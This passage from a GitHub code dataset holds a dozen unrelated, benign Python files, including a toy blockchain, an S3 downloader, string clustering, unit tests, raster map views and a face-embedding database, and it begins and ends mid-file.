rest of block\n self.transactions = transactions # NOTE: may need to change\n self.txcount = len(transactions) # 4 bytes\n self.size = self.block_size() # 4 bytes\n\n def block_size(self):\n # calculates the size of the block and returns instance size to value\n header = 80 # header is 80 bytes\n meta = 8 # the size and txcount are 8 bytes\n # TODO: Calculate the size of the transactions\n # for now assume each tx is 32 bytes\n tx = len(self.transactions) * 32\n block_size = header + meta + tx\n return block_size\n\n def block_timestamp(self):\n # gets the time and sets timestamp\n return str(date.datetime.now()).encode('utf8')\n\n def genesis_timestamp(self):\n # gets the time and sets timestamp\n self.timestamp = str(\"2017-10-08 13:18:06.810644\").encode('utf8')\n\n def merkle_root(self, transactions):\n # calculates the merkle root and sets it as the block merkle_root\n return findMerkleRoot(list(transactions.keys()))\n\n def version(self, vers):\n # set the version\n self.version = vers\n\n def set_target(self, difficulty):\n # set the target difficulty\n self.target = difficulty\n\n def header(self):\n # returns the header info\n header = {\n 'version': self.version.decode('utf-8'),\n 'parent': self.previous_hash.decode('utf-8'),\n 'merkle_root': self.merkle_root,\n 'timestamp': self.timestamp.decode('utf-8'),\n 'target': self.target,\n 'nonce': self.nonce\n }\n return header\n\n def print_header(self):\n # pretty prints the header info\n print(json.dumps(self.header(), indent=4, sort_keys=True))\n return\n\n def info(self):\n # returns all the data of the block\n info = {\n 'block': self.block_hash(self.nonce),\n 'header': self.header(),\n 'txcount': self.txcount,\n 'transactions': self.transactions,\n 'size': self.size\n }\n return info\n\n def print_info(self):\n # pretty prints the info json\n print(json.dumps(self.info(), indent=4, sort_keys=True))\n return\n\n def block_hash(self, nonce=None):\n # calculates and returns the hash of the block header\n # if nonce changes, update instance\n nonce = nonce or self.nonce\n\n # get the data to include in the message hash\n m = hashlib.sha256()\n m.update(self.version)\n m.update(str(self.previous_hash).encode('utf-8'))\n m.update(str(self.merkle_root).encode('utf-8'))\n m.update(str(self.timestamp).encode('utf-8'))\n m.update(str(nonce).encode('utf-8'))\n m.update(str(self.target).encode('utf-8'))\n return hashlib.sha256(m.hexdigest().encode('utf-8')).hexdigest()\n\n def verify_hash(self, block_hash):\n # verifies the hash is valid by checking if it matches the criteria target difficulty\n # 1) check if hash matches target difficulty\n prefix = ''\n prefix = prefix.zfill(self.target) # prefix is a string of zeros of the target\n\n # return a boolean value\n # checks to see if hash starts with the prefix zeros\n # print(block_hash)\n return block_hash.startswith(prefix)\n\n def mine(self):\n # mines block by using pow to increment through nonce and if valid, block nonce is updated\n # n is the nonce count that will be incremented on each hash attempt\n nonce_try = self.nonce or 0\n\n # loop through, hash the block with the nonce and verify\n while True:\n hash_try = self.block_hash(nonce=nonce_try) # hash the candidate block\n if self.verify_hash(hash_try): # check to see if hash is valid\n # if true, we found the correct hash for the pow\n self.nonce = nonce_try # set the nonce\n return\n else: # was not correct a valid hash\n # increment the nonce_try\n nonce_try += 1\n\n def reset_nonce(self):\n # reset the nonce, should be reset after each block\n # for security reasons & simplicity\n self.nonce = None\n\n # @staticmethod\n # def get_merkle_root(transactions):\n # # calculates the merkle root and returns the merkle_root of transactions\n #\n # @staticmethod\n # def tx_size(transactions):\n # # calculates the size of the transactions\n\n\ndef genesis_block():\n 'Mines the genesis block. (Always the same block)'\n tnx = create_genesis_transaction(get_private_key(), get_public_key(\"string\"))\n tnx_id = tnx.get_transaction_id()\n tnx_payload = tnx.get_data()\n b = Block(previous_hash='0000000000000000000000000000000000000000000000000000000000000000', transactions={tnx_id: tnx_payload})\n Block.set_target(b, 4)\n Block.genesis_timestamp(b)\n Block.mine(b)\n return b\n\n\ndef create_genesis_transaction(private_key, public_key):\n # TODO: I don't think the genesis transaction needs inputs. It's the genesis, where is it getting its money from?\n \"\"\"\n Create the genesis transaction.\n :param private_key:\n :param public_key:\n :return:\n \"\"\"\n\n hashed_address = SHA256.new(public_key.encode('utf-8')).hexdigest()\n transaction = {\n \"input_count\": 1,\n \"inputs\": [\n {\n \"transaction_id\": '',\n \"output_index\": -1,\n \"unlock\": {\n \"public_key\": public_key,\n \"signature\": '',\n }\n }\n ],\n \"output_count\": 1,\n \"outputs\": [\n {\n \"address\": hashed_address,\n \"amount\": 7000\n }\n\n ]\n }\n\n # fill the unlock signature\n transaction_message = SHA256.new(( # compose transaction message\n str(transaction['inputs'][0]['transaction_id']) + # input id\n str(transaction['inputs'][0]['output_index']) + # output index\n str(hashed_address) + # hashed public key as address\n str(transaction['outputs'])\n # new outputs\n ).encode())\n signer = DSS.new(private_key, 'fips-186-3')\n signature = signer.sign(transaction_message) # sign the message\n encoded = base64.b64encode(signature).decode()\n transaction['inputs'][0]['unlock']['signature'] = encoded\n\n transaction_id = SHA256.new(\n str(transaction).encode('utf-8')).hexdigest()\n transaction['transaction_id'] = transaction_id\n return Transaction(payload=transaction)\n\ndef bundle_tnx(size, reward_amount):\n \"\"\"\n pull some verified transactions\n :param size: the amount of transaction to return\n :param cbtx: the coinbase transaction to add to the list of transactions\n :return: dict of transactions\n \"\"\"\n cbx = create_coinbase_tx(reward_amount)\n block_transactions = {cbx.get_transaction_id(): cbx.get_data()}\n\n try:\n with open('{0}/verified_transactions.json'.format(os.path.join(os.getcwd(), r'data')), 'r') as file:\n data = json.load(file)\n file.close()\n except IOError:\n with open('{0}/verified_transactions.json'.format(os.path.join(os.getcwd(), r'data')), 'w') as file:\n data = {}\n json.dump(data, file)\n file.close()\n\n try: # TODO: bundle as many transactions as possible\n tx_temp = []\n tx_temp.append(data.popitem())\n #tx_temp.append(data.popitem())\n block_transactions.update(tx_temp)\n\n with open('{0}/verified_transactions.json'.format(os.path.join(os.getcwd(), r'data')), 'w') as file:\n json.dump(data, file)\n file.close()\n except KeyError as e:\n # there was not at least 2 transactions in verified_transactions.json\n print('Need at least 1 transaction per block')\n\n return block_transactions\n\n\n\n","repo_name":"leesander1/ABC","sub_path":"src/block/block.py","file_name":"block.py","file_ext":"py","file_size_in_byte":9271,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"98"} +{"seq_id":"43498002049","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport boto\nimport boto.s3.connection\nimport ConfigParser\nimport sys\nimport time\nimport pdb\n\n#pdb.set_trace()\nclass S3():\n \n def __init__(self):\n self.cfg_file = sys.argv[1]\n self.bucket_name = sys.argv[2]\n self.key_file = sys.argv[3]\n\n def config_parser(self):\n cf = ConfigParser.ConfigParser()\n cf.read(self.cfg_file)\n self.access_key = cf.get(\"default\", \"access_key\")\n self.secret_key = cf.get(\"default\", \"secret_key\")\n host_base = cf.get(\"default\", \"host_base\")\n self.HOST = str(host_base.split(':')[0])\n self.PORT = 80\n if len(host_base.split(':')) == 2:\n self.PORT = int(host_base.split(':')[1])\n\n def session(self):\n self.conn = boto.connect_s3(\n aws_access_key_id = self.access_key,\n aws_secret_access_key = self.secret_key,\n host = self.HOST,\n port = self.PORT,\n is_secure=False,\n calling_format = boto.s3.connection.OrdinaryCallingFormat())\n \n def download_files(self):\n bucket = self.conn.get_bucket(self.bucket_name)\n with open(self.key_file, 'r') as f:\n get_num = 1\n file_num = 1\n for line in f.readlines():\n line = line.strip()\n key = bucket.get_key(line)\n print(str(file_num) + \": Download \" + line)\n file_num += 1\n try:\n key.get_contents_to_filename(str(get_num) + \".txt\")\n except AttributeError:\n with open('s3_get.log', 'a') as log:\n log.write(time.strftime('%Y-%m-%d %H:%M:%S') + '\\t' + line + ' not found.\\n')\n print(line + ' not found.')\n else:\n get_num += 1\n print (\"ALL: Get \" + str(get_num - 1) + \" files.\")\n\nif __name__ == \"__main__\":\n #pdb.set_trace()\n s3 = S3()\n s3.config_parser()\n s3.session()\n s3.download_files()\n","repo_name":"Riverdd/scripts","sub_path":"s3_get.py","file_name":"s3_get.py","file_ext":"py","file_size_in_byte":2048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"29914895471","text":"from time import sleep\n\nlatitude = 60.0\nlongitude = 28.0\nmonoTime = 10.0\n\nwhile True:\n print \\\n ('{{\"latitude\": {}, \"longitude\": {}, \"altitude\": 4.3679, \"monotonicTime\": {}, \"accuracy\": 0.14100000000000001, \"verticalAccuracy\": 0.179}}'. \\\n format(str(latitude), str(longitude), str(monoTime)))\n sleep(1)\n latitude += 0.01\n longitude -= 0.01\n monoTime += 1\n","repo_name":"AaltoVision/vio-gnss-recorder","sub_path":"sample_ubx_stdout.py","file_name":"sample_ubx_stdout.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"24636814215","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Nov 23 08:54:44 2020\r\n\r\n@author: HP\r\n\"\"\"\r\n\r\nimport random\r\nlist1 = [10,20,30,40,50,60]\r\nprint(\"Original list\",list1)\r\nrandom.shuffle(list1)\r\nprint(\"Shuffled list\",list1)\r\n\r\n","repo_name":"devanshu464/devanshu","sub_path":"Answer10(list_shuffle).py","file_name":"Answer10(list_shuffle).py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"15741683550","text":"import argparse\nparser = argparse.ArgumentParser(description='Perform Levenshtein clustering with a spell check ranking.')\nreq = parser.add_argument_group('Required arguments')\nparser.add_argument(\"-p\", \"--path\", help=\"path to file of new line delimited strings.\", required=True)\nparser.add_argument(\"-r\", \"--radius\", help=\"Allowed degree of Levenshtein Distance for clustering. Default is 2.0\", type=float, default=2.0)\nparser.add_argument(\"-o\", \"--out\", help=\"Output file containing clustered data. Default is ./out.txt\", default=\"./out.txt\")\nreq = parser.parse_args()\nimport io\nimport hunspell\nimport re\nfrom datetime import datetime\nfrom leven import levenshtein\n\nstartTime = datetime.now()\n\n\nout = open(req.out,\"w+\")\n#Select languages\nhobj = hunspell.HunSpell('/usr/share/hunspell/en_US.dic', '/usr/share/hunspell/en_US.aff')\nhobj.add_dic('/usr/share/hunspell/fr.dic')\nhobj.add_dic('/usr/share/hunspell/de.dic')\nhobj.add_dic('/usr/share/hunspell/la.dic')\n#Select radius for clusters\nradius = req.radius\nused = []\n#Path to files\nf1 = open(req.path).readlines()\n\n#Find the distance between the two compressed strings\ndef dist(str1, str2):\n\tstr1 = str1.lower()\n\tstr2 = str2.lower()\n\treturn levenshtein(str1,str2)\n\ndef toFile():\n\tfor i in f1:\n\t\tout.write(i)\n\tprint(datetime.now()-startTime)\n\n#Spell check\ndef checkSpell(clust, ind, inds):\n\tcount = {}\n\tpos = 0\n\tfor title in clust:\n\t\ttitle = re.sub(\"-\",\" \",title)\n\t\tc = 0\n\t\tfor word in title.split():\n\t\t\tword = re.sub(r'\\W+', '', word)\n\t\t\tif hobj.spell(word):\n\t\t\t\tc = c+1\n\t\tcount[c] = pos\n\t\tpos = pos+1\n\t\t#print(title, c)\n\tif(len(count)) > 1:\n\t\t#print(count)\n\t\tmax = -1\n\t\tfor item in count:\n\t\t\tif int(item) > max:\n\t\t\t\tmax = int(item)\n\t\tfor i in inds:\n\t\t\tf1[i] = clust[count[max]]\n\telse:\n\t\tfor i in inds:\n\t\t\tf1[i] = clust[0]\n\n#Spell check\ndef check(clust, ind, inds):\n\tcount = {}\n\tpos = 0\n\tfor title in clust:\n\t\ttitle = re.sub(\"-\",\" \",title).lower()\n\t\tif title not in count:\n\t\t\tcount[title] = 0\n\t\tcount[title]+=1\n\n\tif(len(count)) > 1:\n\t\t#print(count)\n\t\tmax = -1\n\t\tmaxInd = -1\n\t\tfor n,v in count.items():\n\t\t\tif int(v) > max:\n\t\t\t\tmax = v\n\t\t\t\tmaxInd = n\n\t\tfor i in inds:\n\t\t\tf1[i] = clust[count[n]]\n\telse:\n\t\tfor i in inds:\n\t\t\tf1[i] = clust[0]\n\n#Go through all strings to find clusters\nval = 0\nfor s1 in f1:\n\tcluster = [s1]\n\tinds = [val]\n\tval = val + 1\n\tif val in used:\n\t\tcontinue\n\tfor i in range(val, len(f1)):\n\t\ts2 = f1[i]\n\t\tif(abs(len(s1)-len(s2)) < 5):\n\t\t\td = dist(s1,s2)\n\t\t\tif d <= radius:\n\t\t\t\tcluster.append(s2)\n\t\t\t\tinds.append(f1.index(s2))\n\t#print(cluster)\n\tcheck(cluster, val, inds)\n\t#if len(cluster) > 1:\n\t#\tprint(cluster)\n\tfor v in inds:\n\t\tused.append(v)\ntoFile()\n\n","repo_name":"EvanBryer/Levenshtein-Clustering","sub_path":"lev.py","file_name":"lev.py","file_ext":"py","file_size_in_byte":2620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"29075631638","text":"from VideoRental import Store\nfrom Video import Video\nfrom Customer import Customer\nimport unittest\n\naddress1 = \"111 KLeonard Way\"\naddress2 = \"222 TDuncan Lane\"\naddress3 = \"333 Marco Blvd\"\n\nfirst_name1 = \"Jesse's\"\nlast_name1 = \"Girl\"\nfirst_name2 = \"Johnny\"\nlast_name2 = \"B. Good\"\nphone_number1 = \"000-555-1234\"\nphone_number2 = \"111-222-3333\"\nphone_number3 = \"111-222-4444\"\ndob = (1,18,1985)\nemail = \"clark.r.phillips@gmail.com\"\n\nclass videoRentalTests(unittest.TestCase):\n def testStoreCreation(self):\n \"\"\"tests a Store creation\"\"\"\n store1 = Store(address1)\n self.assertEqual(\"Store\", store1.description)\n self.assertEqual(address1, store1.location)\n\n def testAddRemoveCustomer(self):\n \"\"\"tests the adding and removing of a customer\"\"\"\n store1 = Store(address1)\n store1.add_customer(Customer(first_name1, last_name2, phone_number1, dob, email))\n store1.add_customer(Customer(first_name1 + \"2\", last_name2 + \"2\", phone_number1, dob, email)) # duplicate customer (based on phone #)\n self.assertEqual(1, len(store1.customers))\n store1.add_customer(Customer(first_name1, last_name2, phone_number2, dob, email))\n self.assertEqual(2, len(store1.customers))\n store1.remove_customer(phone_number3)\n self.assertEqual(2, len(store1.customers))\n store1.remove_customer(phone_number2)\n self.assertEqual(1, len(store1.customers))\n\n def testAddRemoveVideoInventory(self):\n \"\"\"tests the adding and removing of videos to and from inventory\"\"\"\n store1 = Store(address1)\n video1 = store1.add_video(Video(\"300\"))\n video2 = store1.add_video(Video(\"Spaceballs\"))\n video3 = store1.add_video(Video(\"Frozen\"))\n video4 = store1.add_video(Video(\"Frozen\"))\n self.assertEqual(4, len(store1.videos))\n store1.remove_video(video1)\n store1.remove_video(video3)\n store1.remove_video(video4)\n self.assertEqual(1, len(store1.videos))\n\n def testRentReturnVideos(self):\n \"\"\"tests the adding and removing of a customer\"\"\"\n store1 = Store(address1)\n store1.add_customer(Customer(first_name1, last_name2, phone_number1, dob, email))\n store1.add_customer(Customer(first_name2, last_name2, phone_number2, dob, email))\n video1 = store1.add_video(Video(\"300\"))\n video2 = store1.add_video(Video(\"Spaceballs\"))\n video3 = store1.add_video(Video(\"Frozen\"))\n video4 = store1.add_video(Video(\"World War Z\"))\n video5 = store1.add_video(Video(\"Sister Act\"))\n video6 = store1.add_video(Video(\"The Mighty Ducks\"))\n video7 = store1.add_video(Video(\"Invincible\"))\n video8 = store1.add_video(Video(\"Dances With Wolves\"))\n store1.rent_video(phone_number1, video3)\n store1.rent_video(phone_number1, video4)\n store1.rent_video(phone_number1, video5)\n self.assertEqual(3, len(store1.rented_video_IDs()))\n self.assertEqual(3, len(store1.customers[phone_number1].rented_video_IDs))\n store1.rent_video(phone_number2, video7)\n store1.rent_video(phone_number2, video8)\n self.assertEqual(5, len(store1.rented_video_IDs()))\n store1.rent_video(phone_number1, video8) # try to rent something that has already been rented\n self.assertEqual(5, len(store1.rented_video_IDs()))\n store1.return_video(video4)\n self.assertEqual(4, len(store1.rented_video_IDs()))\n self.assertEqual(2, len(store1.customers[phone_number1].rented_video_IDs))\n store1.return_video(video1) # try to return something that has not been rented\n self.assertEqual(4, len(store1.rented_video_IDs()))\n \n\ndef main():\n unittest.main()\n\nif __name__ == '__main__':\n main()","repo_name":"claggierk/video_rental","sub_path":"videoRentalTests.py","file_name":"videoRentalTests.py","file_ext":"py","file_size_in_byte":3758,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"73243045443","text":"import logging\nimport mapscript\nimport threading\nimport urllib2\n\nfrom pyramid.response import Response, FileResponse\nfrom pyramid.view import view_config, view_defaults\nfrom pyramid.httpexceptions import HTTPFound, HTTPNotFound\n\nfrom sqlalchemy.exc import DBAPIError\n\nfrom bccvl_visualiser.views import BaseView\nfrom bccvl_visualiser.models import BaseRasterAPI, RasterAPIv1\n\n\n@view_defaults(route_name='raster_api')\nclass BaseRasterAPIView(BaseView):\n \"\"\"The Base Raster API level view '/api/raster'\"\"\"\n\n @view_config(renderer='../templates/api_template.pt')\n def __call__(self):\n return self._to_dict()\n\n @view_config(name='.json', renderer='json')\n def json(self):\n return super(BaseRasterAPIView, self).json()\n\n @view_config(name='.text')\n def text(self):\n return super(BaseRasterAPIView, self).text()\n\n @view_config(name='.xmlrpc')\n def xmlrpc(self):\n return super(BaseRasterAPIView, self).xmlrpc()\n\n def _to_dict(self):\n return_dict = {str(k): str(v) for k, v in BaseRasterAPI.get_human_readable_inheritors_version_dict().items()}\n return return_dict\n\n@view_defaults(route_name='raster_api_v1')\nclass RasterAPIViewv1(BaseRasterAPIView):\n\n @view_config(renderer='../templates/api_template.pt')\n def __call__(self):\n return self._to_dict()\n\n @view_config(name='.json', renderer='json')\n def json(self):\n return super(RasterAPIViewv1, self).json()\n\n @view_config(name='.text')\n def text(self):\n return super(RasterAPIViewv1, self).text()\n\n @view_config(name='demo_map', renderer='../templates/api/raster/v1/demo_map.pt')\n def demo_map(self):\n return self._to_dict()\n\n\n @view_config(name='data_url_map', renderer='../templates/api/raster/v1/data_url_map.pt')\n # @view_config(name='default', renderer='../templates/api/raster/v1/data_url_map.pt')\n def data_url_map(self):\n return_dict = {\n \"data_url\": self.request.GET.getone('data_url')\n }\n return return_dict\n\n @view_config(name='multiple_layers_map', renderer='../templates/api/raster/v1/multiple_layers_map.pt')\n def multiple_layers_map(self):\n log = logging.getLogger(__name__)\n raster_list_url = self.request.GET.getall('raster_list_url')\n raster_list = ''\n\n for file in raster_list_url:\n raster_list = raster_list + ',' + file\n\n return_dict = {\n \"raster_list\": raster_list,\n }\n return return_dict\n\n @view_config(name='default')\n def auto_detect(self):\n log = logging.getLogger(__name__)\n try:\n data_url = self.request.GET.getone('data_url')\n url = self.request.route_url('raster_api_v1', traverse='/data_url_map', _query=self.request.GET)\n return HTTPFound(location=url)\n except:\n log.debug('No data_url found')\n\n try:\n raster_list_url = self.request.GET.getall('raster_list_url')\n url = self.request.route_url('raster_api_v1', traverse='/multiple_layers_map', _query=self.request.GET)\n return HTTPFound(location=url)\n except:\n log.debug('No raster_list found')\n\n return Response('Could not visualise raster.')\n\n @view_config(name='map', renderer='../templates/api/raster/v1/map.pt')\n def map(self):\n return_dict = {\n \"data_ids\": self.request.GET.getone('data_ids').split(','),\n }\n return return_dict\n\n @view_config(name='wms_data_url')\n def wms_data_url(self):\n log = logging.getLogger(__name__)\n log.debug('Processing ows request')\n\n data_url = None\n try:\n data_url = self.request.GET.getone('DATA_URL')\n except:\n log.warn('No data_url provided')\n data_url = None\n\n my_map = RasterAPIv1(data_url=data_url, query_string=self.request.query_string.strip())\n map_content, map_content_type, retval = my_map.render()\n\n response = Response(map_content, content_type=map_content_type)\n\n return response\n\n @view_config(name='wms')\n def wms(self):\n\n log = logging.getLogger(__name__)\n log.debug('Processing ows request')\n\n data_id = None\n try:\n data_id = self.request.GET.getone('data_id')\n except:\n log.warn('No data_id provided')\n data_id = None\n\n my_map = RasterAPIv1(data_id=data_id, query_string=self.request.query_string.strip())\n map_content, map_content_type, retval = my_map.render()\n\n response = Response(map_content, content_type=map_content_type)\n\n return response\n\n @view_config(name='.xmlrpc')\n def xmlrpc(self):\n return super(RasterAPIViewv1, self).xmlrpc()\n\n def _to_dict(self):\n return RasterAPIv1.to_dict()\n","repo_name":"BCCVL/BCCVL_Visualiser","sub_path":"bccvl_visualiser/views/raster_api.py","file_name":"raster_api.py","file_ext":"py","file_size_in_byte":4818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"98"} +{"seq_id":"22540456844","text":"import pandas as pd\n\n\n# add predicted probabilities to df_test\ndef add_predicted_proba(clf, df_test, X_test):\n probabilities = clf.predict_proba(X_test)\n df_test['probabilities'] = probabilities.tolist()\n return df_test\n\n\n# wrong predictions\ndef wrong_predictions(clf, df_test, X_test, y_test):\n clf_predictions = clf.predict(X_test)\n wrong_indices = [i for i in range(len(y_test)) if y_test[i] != clf_predictions[i]]\n # add here indices for the correct guesses\n correct_indices = [i for i in range(len(y_test)) if i not in wrong_indices]\n df_wrong_predictions = df_test.iloc[wrong_indices, :]\n df_correct_predictions = df_test.iloc[correct_indices, :]\n return df_wrong_predictions, df_correct_predictions\n\n\n# band / number of songs dataframe\ndef bands(df):\n song_counts = df['band'].value_counts()\n df_bands = pd.DataFrame(song_counts)\n df_bands_reset = df_bands.reset_index()\n df_bands_reset.columns = ['band', 'songs']\n df_bands = df_bands_reset.sort_values('band').reset_index(drop=True)\n return df_bands\n\n\ndef wrong_predictions_perband(df_wrong_predictions, df_bands):\n value_counts = df_wrong_predictions['band'].value_counts()\n df_val_counts = pd.DataFrame(value_counts)\n df_val_counts_reset = df_val_counts.reset_index()\n df_val_counts_reset.columns = ['band', 'wrong_predictions']\n df_val_counts = df_val_counts_reset.sort_values('band').reset_index(drop=True)\n\n df_wrong_predictions_perband = pd.merge(df_val_counts, df_bands, how='inner', on=['band'])\n df_wrong_predictions_perband['wrong_guesses_percentage'] = df_wrong_predictions_perband['wrong_predictions'] / \\\n df_wrong_predictions_perband['songs'] * 100\n df_wrong_predictions_perband = df_wrong_predictions_perband.sort_values('wrong_guesses_percentage')\n return df_wrong_predictions_perband\n\n\ndef bands_with_genre(df):\n df_genre = df[['band', 'genre']]\n df_genre = df_genre.drop_duplicates(subset=['band'])\n df_genre = df_genre.sort_values(by=['band'])\n return df_genre\n\ndef bands_songs_genre(df):\n df_bands = bands(df)\n df_genre = bands_with_genre(df)\n df_bands = df_bands.merge(df_genre, on='band', how='inner')\n return df_bands\n\ndef average_blackness(df):\n df_exploded = df.explode('probabilities').reset_index(drop=True)\n df_exploded = df_exploded[df_exploded.index % 2 != 0]\n return df_exploded['probabilities'].mean()\n\n\ndef average_deathness(df):\n df_exploded = df.explode('probabilities').reset_index(drop=True)\n df_exploded = df_exploded[df_exploded.index % 2 == 0]\n return df_exploded['probabilities'].mean()\n","repo_name":"maraungu/metal-classifier","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":2666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"25709309076","text":"import os\nimport pytest\n\nimport testinfra.utils.ansible_runner\n\ntestinfra_hosts = testinfra.utils.ansible_runner.AnsibleRunner(\n os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('all')\n\n\n@pytest.mark.parametrize(\"services\", [\n (\"mongodb-org\")\n])\ndef test_services_running_and_enabled(host, services):\n service = host.service(services)\n assert service.is_enabled\n assert service.is_running\n\n\n@pytest.mark.parametrize(\"services\", [\n (\"mongod\"),\n])\ndef test_services_running_and_enabled(host, services):\n service = host.service(services)\n assert service.is_enabled\n assert service.is_running\n\n\n@pytest.mark.parametrize(\"files, owner, group, mode\", [\n (\"/usr/local/sbin/mongo_kernel_settings.sh\", \"root\", \"root\", 0o700),\n (\"/etc/mongod.conf\", \"root\", \"root\", 0o644),\n (\"/etc/logrotate.d/mongodb\", \"root\", \"root\", 0o644),\n])\ndef test_mongo_files(host, files, owner, group, mode):\n mongo_file = host.file(files)\n assert mongo_file.user == owner\n assert mongo_file.group == group\n assert mongo_file.mode == mode\n\n\ndef test_rc_local(host):\n tls_bundle = host.file(\"/etc/rc.local\")\n\n assert tls_bundle.contains('/usr/local/sbin/mongo_kernel_settings.sh')\n\n\ndef test_show_databases(host):\n command = host.command('echo \"show databases\" | mongosh -u admin -p secret | grep \"KiB\" | wc -l')\n assert command.rc == 0\n assert int(command.stdout) == 3\n","repo_name":"OpenConext/OpenConext-deploy","sub_path":"molecule/mongo/tests/test_default.py","file_name":"test_default.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"98"} +{"seq_id":"43400503000","text":"''' A Voronoi diagram is a subdivision of the space into the nearest neighborhoods of a given set of points. '''\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.spatial import KDTree\n\npoints = np.array([[0, 0], [0, 1], [0, 2], [1, 0], [1, 1], [1, 2],\n [2, 0], [2, 1], [2, 2]])\ntree = KDTree(points)\ntree.query([0.1, 0.1])\nx = np.linspace(-0.5, 2.5, 31)\ny = np.linspace(-0.5, 2.5, 33)\nxx, yy = np.meshgrid(x, y)\nxy = np.c_[xx.ravel(), yy.ravel()]\n\ndx_half, dy_half = np.diff(x[:2])[0] / 2., np.diff(y[:2])[0] / 2.\nx_edges = np.concatenate((x - dx_half, [x[-1] + dx_half]))\ny_edges = np.concatenate((y - dy_half, [y[-1] + dy_half]))\nplt.pcolormesh(x_edges, y_edges, tree.query(xy)[1].reshape(33, 31), shading='flat')\nplt.plot(points[:,0], points[:,1], 'ko')\nplt.show()\n","repo_name":"SinghPrach/30-days-with-python","sub_path":"Day 27/scipy.spatial/Voronoi diagrams.py","file_name":"Voronoi diagrams.py","file_ext":"py","file_size_in_byte":800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"70044183362","text":"import execjs\nimport requests\n\nurl = 'https://match.yuanrenxue.com/api/match/1?{}m={}'\n\ndef get_1(i,sum):\n headers = {\n 'user-agent': 'yuanrenxue.project'\n }\n cookies={\n 'sessionid':'kt9295elxmrk4qfcgbv7m5dknwqwttku'\n }\n with open('1.js','r',encoding='utf-8') as f:\n js = f.read()\n m = execjs.compile(js).call('jiemi')\n if i == 1:\n url_data = url.format('',m)\n else:\n url_data = url.format('page='+str(i)+'&',m)\n data = requests.get(url_data,headers=headers,cookies=cookies)\n print(data.headers)\n data = data.json()\n print(data['data'])\n for temp in data['data']:\n sum += temp['value']\n print(i,sum)\n return sum\n\ndef main():\n sum = 0\n for i in range(1,6):\n sum = get_1(i,sum)\n return sum\n\nprint(main())","repo_name":"guyong123/guyong","sub_path":"yuanrenxue_1.py","file_name":"yuanrenxue_1.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"98"} +{"seq_id":"33203000861","text":"import onnxruntime\nimport cv2\nfrom mtcnn_ort import MTCNN\nimport numpy as np\nfrom skimage import transform as trans\nimport argparse\nimport onnxruntime as ort\nimport numpy as np\nfrom scipy.spatial import distance\n\n\ndef parse_arguments():\n parser = argparse.ArgumentParser()\n parser.add_argument('--video', required=True, help='Video file file to process.', )\n parser.add_argument('--model', required=True, help='File with text corpora.', )\n parser.add_argument('--resolution', default=64, type=int, help='Resolution of facial crops.')\n parser.add_argument('--similarity-threshold', default=0.5, type=float)\n parser.add_argument('--detection-threshold', default=0.95, type=float)\n parser.add_argument('--input-scale', default=0.5, type=float)\n\n args = parser.parse_args()\n return args\n\n\nclass FaceDB:\n def __init__(self, model, resolution, similarity_threshold):\n self.model = model\n self.resolution = resolution\n self.similarity_threshold = similarity_threshold\n\n self.template = np.array([\n [30.2946, 51.6963],\n [65.5318, 51.5014],\n [48.0252, 71.7366],\n [33.5493, 92.3655],\n [62.7299, 92.2041]], dtype=np.float32)\n self.template /= 112\n self.template = (self.template - 0.5) * 1.1 + 0.5\n self.template[:, 1] -= 0.1\n self.template *= self.resolution\n self.tform = trans.SimilarityTransform()\n\n self.ort_sess = ort.InferenceSession(self.model,\n providers=['CUDAExecutionProvider', 'CPUExecutionProvider'])\n test_data = np.zeros((1, 3, self.resolution, self.resolution), dtype=np.float32)\n outputs = self.ort_sess.run(None, {'input_image': test_data})[0]\n self.emb_dim = outputs.shape[1]\n self.max_faces = 1000\n self.faces = []\n self.store_resolution = 32\n self.face_emb = np.ones((self.max_faces, self.emb_dim), dtype=np.float32)\n\n def add_face(self, frame, landmarks, threshold=10):\n self.tform.estimate(landmarks, self.template)\n M = self.tform.params[0:2, :]\n crop = cv2.warpAffine(frame, M, (self.resolution, self.resolution), borderValue=0.0)\n #crop = cv2.cvtColor(crop, cv2.COLOR_BGR2RGB)\n crop_data = np.transpose(crop, (2,0,1))[np.newaxis].astype(np.float32) / 255.0\n embedding = self.ort_sess.run(None, {'input_image': crop_data})\n print(embedding[0].dot(embedding[0].T))\n embedding = embedding[0]\n\n crop = cv2.resize(crop, (self.store_resolution, self.store_resolution))\n if len(self.faces) > 0:\n sim = embedding.dot(self.face_emb[:len(self.faces)].T)\n sim = sim[0]\n #distances = distance.cdist(embedding, self.face_emb[:len(self.faces)], metric='cosine')\n #distances = distances[0]\n best_id = np.argmax(sim)\n print(sim[best_id], best_id)\n if sim[best_id] > self.similarity_threshold:\n self.faces[best_id].append(crop)\n elif sim[best_id] < self.similarity_threshold * 0.9:\n self.face_emb[len(self.faces)] = embedding\n self.faces.append([crop])\n else:\n self.face_emb[len(self.faces)] = embedding\n self.faces.append([crop])\n\n def draw_faces(self, max_faces=20, max_rows=32):\n if not self.faces:\n return None\n lines = [face[::-1][:max_faces] for face in self.faces]\n lines = [line + [np.zeros((self.store_resolution, self.store_resolution, 3), dtype=np.uint8)] * max(0, max_faces - len(line)) for line in lines]\n lines = [np.concatenate(line, axis=1) for line in 